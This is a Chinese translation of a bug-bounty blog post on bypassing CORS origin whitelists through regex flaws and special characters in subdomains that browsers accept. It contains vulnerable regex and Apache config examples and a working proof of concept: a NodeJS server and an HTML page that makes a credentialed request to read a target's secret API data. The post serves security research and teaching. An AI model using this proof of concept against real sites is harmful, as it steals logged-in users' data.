原文地址:https://www.corben.io/advanced-cors-techniques/
作者:Corben Leo,原文发表于2018年6月16号
自豪地采用谷歌翻译,有英文阅读能力,尽量去阅读原文吧。
本文已获得原作者的翻译授权
我看过 Linus Sarud 和 Bo0oM 做的一些关于Safari 浏览器如何滥用特殊字符的研究。
上述两篇文章都深入讨论了 Safari 的行为可能导致 XSS 攻击或 Cookie 注入的实际场景。这篇博客的目标是带来更多的利用 CORS 的创造力和选择。
去年十一月,我曾写过一篇复杂的关于 Yahoo View 中滥用了 Safari 对特殊字符的处理从而绕过跨源资源共享[CORS]安全机制的文章。从那以后,我找到了更多巧妙绕过 CORS 安全机制的漏洞,并决定使用更高级的技术来避免这些漏洞。
备注:
假设你已经了解 CORS 的基础知识和如何利用 CORS 的错误配置,这里有一些不错的文章可以让你了解下:
- Portswigger’s Post
- Geekboy’s post
快速摘要:
如果你是一个视觉思考者,这里有一份相关的流程图。
DNS 服务器响应任意内容的请求,因此你可以发送任意字符到该域名的子域名,只要该域名有一个通配符 DNS 记录,它就会响应。
比如:
dig A "<@$&(#+_\`^%~>.withgoogle.com" @1.1.1.1 | grep -A l "ANSWER SECTION"
我们知道 DNS 服务器响应了这些请求,但是浏览器是如何处理它们的呢?答案是:大多数浏览器在发出请求之前会验证域名的有效性。
比如:
Chrome:
Firefox:
Safari:
注意,我说过大多数浏览器都验证域名,但并不是所有的都这样。Safari就是其中之一。如果我们尝试加载相同的域,它将发送实际的请求并加载页面:
我们可以使用各种不同的字符,甚至不可打印的字符:
,&'";!$^*()+=`~-_=|{}%
// non printable chars
%01-08,%0b,%0c,%0e,%0f,%10-%1f,%7f
大多数 CORS 集成包含一个允许从端点读取信息的起始白名单,这通常通过使用正则表达式来实现。
例1:
^https?:\/\/(.*\.)?xxe\.sh$
解读: 使用此正则表达式实现配置的目的是允许从xxe.sh
和任何子域(http://
或 https://
)进行跨域访问
攻击者能够从该端点窃取数据的惟一方法是对http(s)://xxe.sh
/ http(s)://*.xxe.sh
上进行了 XSS 或子域的接管。
例2:
^https?:\/\/.*\.?xxe\.sh$
解读: 和例1相同,允许跨域访问xxe.sh
和它的子域名。
这个正则表达式和上面第一个正则表达式很相似,但是它包含一个问题,该问题可能导致配置易受数据盗窃的影响。
问题出现在如下的正则表达式片段中:.*\.?
解释:
.* = 除行终止符外的任意字符
\. = 一个半角句号
? = 数量词,在这个正则表达式表示匹配"."零次或一次
因为.*\.
不是一个捕获组,?
数量词仅仅会影响.
字符的匹配,因而在字符串xxe.sh
前的任何字符串都是被允许的。不管这个字符串是否被半角句号分割。
这意味着攻击者可以发送任何以xxe.sh
结尾的源,并且可以跨域访问。
这是一种非常常见的旁路技术,这有一个真实的案例:
https://hackerone.com/reports/168574, 作者 James Kettle
例3:
^https?:\/\/(.*\.)?xxe\.sh\:?.*
解读: 允许跨域访问xxe.sh
,及所有子域,以及这些域上的任何端口。
你能发现问题吗?
解释:
\: = 匹配字符":"
? = 数量词,在这个正则表达式表示匹配":"零次或一次
.* = 除行终止符外的任意字符
就像第二个例子一样,?
数量词仅仅影响:
字符,因此,如果我们发送一个在xxe.sh
之后带有其他字符的源,还是可以接受的。
当利用 CORS 错误配置时,Safari 如何处理这些特殊字符
以下面的 Apache 配置为例:
SetEnvIf Origin "^https?:\/\/(.*\.)?xxe.sh([^\.\-a-zA-Z0-9]+.*)?" AccessControlAllowOrigin=$0
Header set Access-Control-Allow-Origin %{AccessControlAllowOrigin}e env=AccessControlAllowOrigin
允许跨域访问xxe.sh
,及所有子域,以及这些域上的任何端口。
下面是正则表达式的解读:
[^\.\-a-zA-Z0-9] = 配置除了".","-","a-z","A-Z","0-9"的字符
+ = 数量词,超过字符1次或无限次匹配(贪婪)
.* = 除了行终止符的其他字符
这个 API 不允许访问前面示例中的域,其他常见的旁路技术也不能工作。*.xxe.sh
上的子域接管或 XSS 将允许攻击者窃取数据,但是让我们更有创意一些。
我们知道任何类似*.xxe.sh
源跟随字符. - a-z A-Z 0-9
是不会被信任的,那在xxe.sh
字符串之后添加空格的源(会被信任)呢?
我们看到这是被信任的,然而,这样的域名是不被正常的浏览器所支持的。
因为正则表达式匹配的是 ASCII 字符和. -
,xxe.sh
之后的特殊字符将被信任。
这样的域在现代的通用浏览器,比如说 Safari 中是受支持的
先决条件:
像大多数浏览器,Apache 和 Nginx (开箱即用)也不喜欢这些特殊字符,因此,使用 NodeJS 提供 HTML 和 Javascript 要容易得多。
serve.js
var http = require('http');
var url = require('url');
var fs = require('fs');
var port = 80
http.createServer(function(req, res) {
if (req.url == '/cors-poc') {
fs.readFile('cors.html', function(err, data) {
res.writeHead(200, {'Content-Type':'text/html'});
res.write(data);
res.end();
});
} else {
res.writeHead(200, {'Content-Type':'text/html'});
res.write('never gonna give you up...');
res.end();
}
}).listen(port, '0.0.0.0');
console.log(`Serving on port ${port}`);
在同样的目录下,保存下面内容:
cors.html
<html>
<head><title>CORStitle>head>
<body onload="cors();">
<div>
cors proof-of-concept:
<br>
<br>
<textarea rows="10" cols="60" id="pwnz">textarea>
<br>
div>
<script>
function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("pwnz").innerHTML = this.responseText;
}
};
xhttp.open("GET", "http://x.xxe.sh/api/secret-data/", true);
xhttp.withCredentials = true;
xhttp.send();
}
script>
body>
html>
通过以下指令开启 NodeJS 服务:
node serve.js &
像以前所说,因为正则表达式匹配的是 ASCII 字符和. -
,xxe.sh
之后的特殊字符将被信任。
因此如果我们打开 Safari 浏览器访问http://x.xxe.sh{.
,我们将会看从这个漏洞中,我们成功的窃取了数据
编辑: 我注意到这个字符(在子域中)不仅在 Safari 中被支持,而且在 Chrome 和 Firefox 中也被支持。
因此,http://x.xxe.sh_.
将会从大多数通用的浏览器发送有效的源
感谢 Prakash,你真牛。
现在,请记住这些特殊字符,弄清楚哪些 Origins 反映在 Access-Control-Allow-Origin 标头中可能是一项繁琐且耗时的任务:
为了节省时间并提高效率,我决定编写一种工具,对允许的来源进行 CORS 配置模糊测试。 它是用 Python编 写的,并且为可能的 CORS 绕过生成了许多不同的排列。 可以在我的 Github 上找到它。 如果您有任何改进此工具的想法,请随时 ping 我或提出请求!
希望这篇文章能为您提供丰富的信息,并且您从中学到了! 去利用那些 CORS 配置并获得一些奖励
愉快的去狩猎吧。
Corben Leo